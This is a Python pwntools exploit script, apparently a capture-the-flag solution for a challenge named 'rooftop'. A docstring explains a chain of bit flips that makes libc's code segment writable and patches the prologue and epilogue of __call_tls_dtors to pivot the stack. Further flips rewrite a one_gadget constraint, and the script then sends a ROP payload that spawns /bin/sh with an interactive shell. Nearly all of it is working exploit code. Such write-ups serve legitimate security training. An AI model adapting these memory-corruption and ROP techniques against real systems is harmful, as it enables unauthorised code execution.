#!/usr/bin/env python3

"""
first bit flip: change flags for the .text segment in libc from r-x (5) to rwx (7)

now that .text is writable, we can modify the gadgets that we are using

we had the idea to modify the function epilogue of one of the functions called on exit such that the new stack frame will align with our user input and we can ROP from there

but because we needed to offset the frame by more than 0x80 (which wld require a different instruction length), we ended up having to use both the function prologue and epilogue of __call_tls_dtors

then we had a one_gadget that had constraints on r9 and rcx being 0, but rcx cannot be 0 before our call to __call_tls_dtors because that would skip calling __call_tls_dtors in the first place (because of the arguments to __run_exit_handlers)

so we modify the one_gadget to change that constraint from rcx to rdx

- flyyee and samuzora
"""

from pwn import *

exe = ELF("./rooftop")
libc = ELF("./libc.so.6")
ld = ELF("./ld-linux-x86-64.so.2")

context.binary = exe

if args.LOCAL:
    p = remote("localhost", 6008)
else:
    p = remote("chall.polygl0ts.ch", 6008)

counter = 0
def flip_bit(offset, idx):
    global counter
    counter += 1
    p.sendlineafter(b"X coordinate:", hex(offset).encode())
    p.sendlineafter(b"Y coordinate:", hex(idx).encode())

# good luck pwning :)
for _ in range(7):
    p.sendlineafter(b">", b"")

# make .text segment writable
flip_bit(0xec, 1)
for _ in range(5):
    p.sendlineafter(b">", b"")

if args.GDB:
    gdbscript = """
    b *__call_tls_dtors+100
    """
    gdb.attach("stairwell", exe="./stairwell", gdbscript=gdbscript)
    pause()

for _ in range(3):
    p.sendlineafter(b">", b"")

libc.address = u64(p.recvline()[:-1]) - libc.sym.read
print(hex(libc.address))
p.recvline()

for _ in range(3):
    p.sendlineafter(b">", b"")

# need to add 0xc8 to rsp

# one_gadget constraints:
# 0xd8131 execve("/bin/sh", rcx, r9)
# constraints:
#   [rcx] == NULL || rcx == NULL || rcx is a valid argv
#   [r9] == NULL || r9 == NULL || r9 is a valid envp
# we can't meet rcx constraint, so change that constraint to rdx

# __call_tls_dtors+2
# sub rsp, 0x8 -> add rsp, 0x8
counter = 0
flip_bit(0x7ffff7e11ee4 - 0x7ffff7dd4000 + libc.address, 3)
flip_bit(0x7ffff7e11ee4 - 0x7ffff7dd4000 + libc.address, 5)

# __call_tls_dtors+2
# add rsp, 0x8 -> add rsp, 0x68
flip_bit(0x7ffff7e11ee5 - 0x7ffff7dd4000 + libc.address, 5)
flip_bit(0x7ffff7e11ee5 - 0x7ffff7dd4000 + libc.address, 6)

# __call_tls_dtors+100
# add rsp, 0x8 -> add rsp, 0x68
flip_bit(0x7ffff7e11f41 - 0x7ffff7dd4000 + libc.address, 5)
flip_bit(0x7ffff7e11f41 - 0x7ffff7dd4000 + libc.address, 6)

# maybe_script_execute+147
# mov rsi, rcx -> mov rsi, rdx
flip_bit(0x7ffff7eac0f5 - 0x7ffff7dd4000 + libc.address, 3)
flip_bit(0x7ffff7eac0f5 - 0x7ffff7dd4000 + libc.address, 4)

# rop chain
payload = flat(
        0x7ffff7fb07c0 - 0x7ffff7dd4000 + libc.address, # empty space to stack pivot to (this value will go into rbp)
        0x7ffff7eac131 - 0x7ffff7dd4000 + libc.address, # one_gadget
)
p.sendlineafter(b"X coordinate:", payload)

p.interactive()
